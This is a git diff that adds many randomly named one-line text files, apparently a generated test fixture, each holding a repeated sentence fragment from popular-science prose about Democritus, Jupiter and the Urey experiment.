diff --git a/big_zip/big-zip-files/folder_chrijeenfm/unacsvygkjpdenjdxorsnxok.txt b/big_zip/big-zip-files/folder_chrijeenfm/unacsvygkjpdenjdxorsnxok.txt
new file mode 100644
index 0000000..6b85a36
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/unacsvygkjpdenjdxorsnxok.txt
@@ -0,0 +1 @@
+travelers could be frozen and then reawakened centuries later. These nonrelativistic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_ahofuhiz.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_ahofuhiz.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_ahofuhiz.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_bznqrfmvhwnvoro.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_bznqrfmvhwnvoro.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_bznqrfmvhwnvoro.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_dchaxpilpixgunouuekiu.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_dchaxpilpixgunouuekiu.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_dchaxpilpixgunouuekiu.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_dnztdhodvnwacvhghkh.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_dnztdhodvnwacvhghkh.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_dnztdhodvnwacvhghkh.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_dyijgucfsvlpgazdinkrcqw.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_dyijgucfsvlpgazdinkrcqw.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_dyijgucfsvlpgazdinkrcqw.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_ffhcouolxsomqimsw.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_ffhcouolxsomqimsw.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_ffhcouolxsomqimsw.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_gdxvmhybiwoxhzovufbtcyfv.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_gdxvmhybiwoxhzovufbtcyfv.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_gdxvmhybiwoxhzovufbtcyfv.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_ghvimmsrb.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_ghvimmsrb.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_ghvimmsrb.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_gqnlaguuskd.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_gqnlaguuskd.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_gqnlaguuskd.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_iklagpzlsexmmhwcxl.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_iklagpzlsexmmhwcxl.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_iklagpzlsexmmhwcxl.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_losvntlwv.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_losvntlwv.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_losvntlwv.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_mbrutykjqlccownvc.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_mbrutykjqlccownvc.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_mbrutykjqlccownvc.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_mwluyclpqfjfpzmwxlz.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_mwluyclpqfjfpzmwxlz.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_mwluyclpqfjfpzmwxlz.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_njhbdeggvdycibrvmcxlpluo.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_njhbdeggvdycibrvmcxlpluo.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_njhbdeggvdycibrvmcxlpluo.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_pfuaitwmkittsozok.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_pfuaitwmkittsozok.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_pfuaitwmkittsozok.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_rprfqoxqwg.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_rprfqoxqwg.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_rprfqoxqwg.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_rsatbynslvsywwh.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_rsatbynslvsywwh.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_rsatbynslvsywwh.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_syzxkhpihohozaalsqp.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_syzxkhpihohozaalsqp.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_syzxkhpihohozaalsqp.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_taaybqqdysoq.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_taaybqqdysoq.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_taaybqqdysoq.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_vdclpvwhyjkv.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_vdclpvwhyjkv.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_vdclpvwhyjkv.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_xcauolwlbvstvxigwtcc.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_xcauolwlbvstvxigwtcc.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_xcauolwlbvstvxigwtcc.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_xdykerhtdgxamjdtdbqu.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_xdykerhtdgxamjdtdbqu.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_xdykerhtdgxamjdtdbqu.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_yzyigbpwjvbptkodsvmlnyj.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_yzyigbpwjvbptkodsvmlnyj.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_yzyigbpwjvbptkodsvmlnyj.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/file_zockotbljuoigzehsguxl.txt b/big_zip/big-zip-files/folder_cltnqdophu/file_zockotbljuoigzehsguxl.txt
new file mode 100644
index 0000000..9df3fe8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/file_zockotbljuoigzehsguxl.txt
@@ -0,0 +1 @@
+then decayed. At a time when no one knew about impact craters, Democritus thought that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_bhnohygamuhvdrsj.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_bhnohygamuhvdrsj.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_bhnohygamuhvdrsj.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_cawhfsyjhxga.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_cawhfsyjhxga.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_cawhfsyjhxga.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_csysofjrphytiikugbsijx.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_csysofjrphytiikugbsijx.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_csysofjrphytiikugbsijx.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_dtqwodbktj.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_dtqwodbktj.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_dtqwodbktj.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_hrxrshyjl.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_hrxrshyjl.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_hrxrshyjl.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_icgkblchdorsuvby.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_icgkblchdorsuvby.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_icgkblchdorsuvby.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_kplqmvaxvthxiqqy.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_kplqmvaxvthxiqqy.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_kplqmvaxvthxiqqy.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_mngclwvgvfp.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_mngclwvgvfp.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_mngclwvgvfp.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_ofwjdsijabn.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_ofwjdsijabn.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_ofwjdsijabn.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_pkpanurnlerzduznh.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_pkpanurnlerzduznh.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_pkpanurnlerzduznh.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_ryixfbnlvpo.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_ryixfbnlvpo.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_ryixfbnlvpo.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_sdkovxqyhhhlwh.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_sdkovxqyhhhlwh.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_sdkovxqyhhhlwh.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_wbpdnvmdlmsgesmb.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_wbpdnvmdlmsgesmb.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_wbpdnvmdlmsgesmb.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_wffnvnoctp.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_wffnvnoctp.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_wffnvnoctp.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_wmnfbrgedrumtg.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_wmnfbrgedrumtg.txt
new file mode 100644
index 0000000..d200da4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/file_wmnfbrgedrumtg.txt
@@ -0,0 +1 @@
+We observe the multicolored belts and bands of Jupiter close up. The white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_cefhyisdzbp.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_cefhyisdzbp.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_cefhyisdzbp.txt
@@ -0,0 +1 @@
+years, be capable of? The answer is all the beauty and diversity of the biological world.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_dfkfsczebvbpgch.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_dfkfsczebvbpgch.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_dfkfsczebvbpgch.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_ftxnjywtzbrnilckjsk.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_ftxnjywtzbrnilckjsk.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_ftxnjywtzbrnilckjsk.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_fynotwpin.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_fynotwpin.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_fynotwpin.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_kalzkpsb.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_kalzkpsb.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_kalzkpsb.txt
@@ -0,0 +1 @@
+years, be capable of? The answer is all the beauty and diversity of the biological world.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_lcmvccuqylhlxgfexqlet.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_lcmvccuqylhlxgfexqlet.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_lcmvccuqylhlxgfexqlet.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_oxsvzcmcglgmfbtseeg.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_oxsvzcmcglgmfbtseeg.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_oxsvzcmcglgmfbtseeg.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_pvtwnyrm.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_pvtwnyrm.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_pvtwnyrm.txt
@@ -0,0 +1 @@
+years, be capable of? The answer is all the beauty and diversity of the biological world.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_rxmwmrzjuxnfvfqncookr.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_rxmwmrzjuxnfvfqncookr.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_rxmwmrzjuxnfvfqncookr.txt
@@ -0,0 +1 @@
+years, be capable of? The answer is all the beauty and diversity of the biological world.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_tnbfnasra.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_tnbfnasra.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_tnbfnasra.txt
@@ -0,0 +1 @@
+years, be capable of? The answer is all the beauty and diversity of the biological world.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_vumzsjveivqlakhjsigdnzg.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_vumzsjveivqlakhjsigdnzg.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_vumzsjveivqlakhjsigdnzg.txt
@@ -0,0 +1 @@
+years, be capable of? The answer is all the beauty and diversity of the biological world.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_wcouzqvjyzveewv.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_wcouzqvjyzveewv.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_wcouzqvjyzveewv.txt
@@ -0,0 +1 @@
+years, be capable of? The answer is all the beauty and diversity of the biological world.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_xyziochlirwihiewp.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_xyziochlirwihiewp.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_xyziochlirwihiewp.txt
@@ -0,0 +1 @@
+years, be capable of? The answer is all the beauty and diversity of the biological world.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_zbfnkecqbrqm.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_zbfnkecqbrqm.txt
new file mode 100644
index 0000000..1079307
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/file_zbfnkecqbrqm.txt
@@ -0,0 +1 @@
+years, be capable of? The answer is all the beauty and diversity of the biological world.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/eosoqyooquddd.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/eosoqyooquddd.txt
new file mode 100644
index 0000000..633bf17
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/eosoqyooquddd.txt
@@ -0,0 +1 @@
+be sparked, someone asked him what he expected to make in such an experiment. Urey
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/evdsmapcrpmrbi.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/evdsmapcrpmrbi.txt
new file mode 100644
index 0000000..bc3de37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/evdsmapcrpmrbi.txt
@@ -0,0 +1 @@
+would prevent being turned to stone. Through the skunk cabbage, it seemed that the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_atxvlzgwjix.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_atxvlzgwjix.txt
new file mode 100644
index 0000000..e2f90ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_atxvlzgwjix.txt
@@ -0,0 +1 @@
+straight home or not, certainly goes his way .... My reflection, when I first made myself
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_cellimdeczzscodygx.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_cellimdeczzscodygx.txt
new file mode 100644
index 0000000..e2f90ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_cellimdeczzscodygx.txt
@@ -0,0 +1 @@
+straight home or not, certainly goes his way .... My reflection, when I first made myself
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_cigionbeovlikkk.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_cigionbeovlikkk.txt
new file mode 100644
index 0000000..e2f90ae
--- /dev/null
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@@ -0,0 +1 @@
+straight home or not, certainly goes his way .... My reflection, when I first made myself
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_dggkihfxl.txt b/big_zip/big-zip-files/folder_cltnqdophu/folder_gmdpymgdiu/folder_cnqoxpyfhl/folder_dfngyqhdhx/file_dggkihfxl.txt
new file mode 100644
index 0000000..e2f90ae
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@@ -0,0 +1 @@
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\ No newline at end of file
